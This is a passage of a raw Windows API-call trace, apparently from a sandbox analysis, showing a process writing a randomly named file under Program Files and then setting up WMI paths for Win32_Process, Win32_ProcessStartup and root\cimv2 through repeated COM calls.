lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\b75386f1303e64", lpFilePart=0x0) returned 0x34 [0141.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0141.401] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\b75386f1303e64" (normalized: "c:\\program files\\reference assemblies\\b75386f1303e64"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2b8 [0141.402] GetFileType (hFile=0x2b8) returned 0x1 [0141.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0141.402] GetFileType (hFile=0x2b8) returned 0x1 [0141.402] WriteFile (in: hFile=0x2b8, lpBuffer=0x2741690*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x2741690*, lpNumberOfBytesWritten=0x1bb7e978*=0x38c, lpOverlapped=0x0) returned 1 [0141.404] CloseHandle (hObject=0x2b8) returned 1 [0141.405] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0141.405] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0141.405] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0141.405] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.455] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce63c0) returned 0x0 [0141.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce63c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0141.456] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce63c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd9760) returned 0x0 [0141.456] WbemDefPath:IUnknown:Release (This=0x1bce63c0) returned 0x0 [0141.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd9760) returned 0x0 [0141.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0141.456] WbemDefPath:IUnknown:AddRef (This=0x1bcd9760) returned 0x3 [0141.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0141.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0141.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce6400) returned 0x0 [0141.457] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.457] WbemDefPath:IUnknown:Release (This=0x1bce6400) returned 0x3 [0141.457] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0141.457] CoGetContextToken (in: pToken=0x1bb7cff0 | out: pToken=0x1bb7cff0) returned 0x0 [0141.457] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0141.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0141.457] WbemDefPath:IUnknown:Release (This=0x1bcd9760) returned 0x2 [0141.457] WbemDefPath:IUnknown:Release (This=0x1bcd9760) returned 0x1 [0141.457] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0141.457] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0141.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9760, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd9760) returned 0x0 [0141.457] WbemDefPath:IUnknown:AddRef (This=0x1bcd9760) returned 0x3 [0141.457] WbemDefPath:IUnknown:Release (This=0x1bcd9760) returned 0x2 [0141.457] WbemDefPath:IWbemPath:SetText (This=0x1bcd9760, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0141.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9760, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0141.457] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9760, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0141.457] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9760, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0141.458] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9760, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0141.458] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9760, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0141.458] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9760, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0141.458] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0141.458] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0141.458] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0141.458] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.460] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce6440) returned 0x0 [0141.460] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6440, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0141.460] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6440, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd9820) returned 0x0 [0141.460] WbemDefPath:IUnknown:Release (This=0x1bce6440) returned 0x0 [0141.460] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd9820) returned 0x0 [0141.460] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0141.461] WbemDefPath:IUnknown:AddRef (This=0x1bcd9820) returned 0x3 [0141.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0141.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0141.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce6480) returned 0x0 [0141.461] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.461] WbemDefPath:IUnknown:Release (This=0x1bce6480) returned 0x3 [0141.461] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0141.461] CoGetContextToken (in: pToken=0x1bb7cff0 | out: pToken=0x1bb7cff0) returned 0x0 [0141.461] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0141.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0141.461] WbemDefPath:IUnknown:Release (This=0x1bcd9820) returned 0x2 [0141.461] WbemDefPath:IUnknown:Release (This=0x1bcd9820) returned 0x1 [0141.461] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0141.461] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0141.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9820, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd9820) returned 0x0 [0141.461] WbemDefPath:IUnknown:AddRef (This=0x1bcd9820) returned 0x3 [0141.461] WbemDefPath:IUnknown:Release (This=0x1bcd9820) returned 0x2 [0141.462] WbemDefPath:IWbemPath:SetText (This=0x1bcd9820, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9820, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9820, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9820, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9820, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9820, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9820, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9820, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0141.462] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.462] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0141.462] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0141.462] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0141.462] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.464] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bce64c0) returned 0x0 [0141.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce64c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0141.464] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce64c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bcd98e0) returned 0x0 [0141.464] WbemDefPath:IUnknown:Release (This=0x1bce64c0) returned 0x0 [0141.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bcd98e0) returned 0x0 [0141.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0141.465] WbemDefPath:IUnknown:AddRef (This=0x1bcd98e0) returned 0x3 [0141.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0141.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0141.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bce6500) returned 0x0 [0141.465] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.465] WbemDefPath:IUnknown:Release (This=0x1bce6500) returned 0x3 [0141.465] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0141.465] CoGetContextToken (in: pToken=0x1bb7ceb0 | out: pToken=0x1bb7ceb0) returned 0x0 [0141.465] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0141.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0141.465] WbemDefPath:IUnknown:Release (This=0x1bcd98e0) returned 0x2 [0141.465] WbemDefPath:IUnknown:Release (This=0x1bcd98e0) returned 0x1 [0141.466] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0141.466] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0141.466] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd98e0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bcd98e0) returned 0x0 [0141.466] WbemDefPath:IUnknown:AddRef (This=0x1bcd98e0) returned 0x3 [0141.466] WbemDefPath:IUnknown:Release (This=0x1bcd98e0) returned 0x2 [0141.466] WbemDefPath:IWbemPath:SetText (This=0x1bcd98e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0141.466] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd98e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd98e0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0141.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd98e0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.466] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0141.466] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0141.466] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0141.466] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.467] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bce6600) returned 0x0 [0141.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6600, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0141.467] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce6600, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bce6620) returned 0x0 [0141.467] WbemLocator:IUnknown:Release (This=0x1bce6600) returned 0x0 [0141.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bce6620) returned 0x0 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce6620, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: 